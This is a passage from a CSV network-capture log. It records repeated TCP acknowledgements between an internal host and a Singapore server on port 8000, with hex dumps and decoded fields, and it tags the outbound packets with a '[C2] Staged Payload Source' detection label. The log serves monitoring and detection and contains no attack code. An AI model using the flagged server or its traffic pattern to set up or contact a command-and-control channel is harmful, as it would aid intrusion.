1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:40.873400,1049,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a1400080063e5d0a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45473, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15965, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:40.873412,1050,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b1400040062a43c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*C....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1457, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10819, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:41.889148,1051,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a2400080063e5c0a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45474, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15964, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:41.889165,1052,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b2400040062a42c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*B....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1458, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10818, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:42.904758,1053,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a3400080063e5b0a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45475, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15963, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:42.904795,1054,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b3400040062a41c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*A....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1459, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10817, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:43.920448,1055,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a4400080063e5a0a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45476, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15962, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:43.920483,1056,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b4400040062a40c0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*@....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1460, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10816, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:44.936010,1057,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a5400080063e590a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45477, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15961, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:44.936026,1058,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b5400040062a3fc0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*?....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1461, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10815, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:45.951692,1059,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a6400080063e580a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45478, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15960, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:45.951721,1060,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b6400040062a3ec0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*>....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1462, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10814, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:46.951889,1061,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a7400080063e570a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45479, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15959, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:46.951912,1062,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b7400040062a3dc0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*=....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1463, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10813, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:47.967446,1063,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a8400080063e560a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45480, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15958, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487870, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:47.967487,1064,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487871,bc2411360d0cbc24112907bb08004500003405b8400040062a3cc0a3a7890a98980b1f40fa6f31e3a06e4a2d60bf8010003f0af700000101050a4a2d60be4a2d60bf,\".$.6\n..$.)....E..4..@.@.*<....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1464, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10812, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487871, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487870, 1244487871))]\"\"}}]\"\n2026-07-01 09:13:48.967461,1065,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487870 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1a9400080063e550a98980bc0a3a789fa6f1f404a2d60be31e3a06e50102014ee01000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45481, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 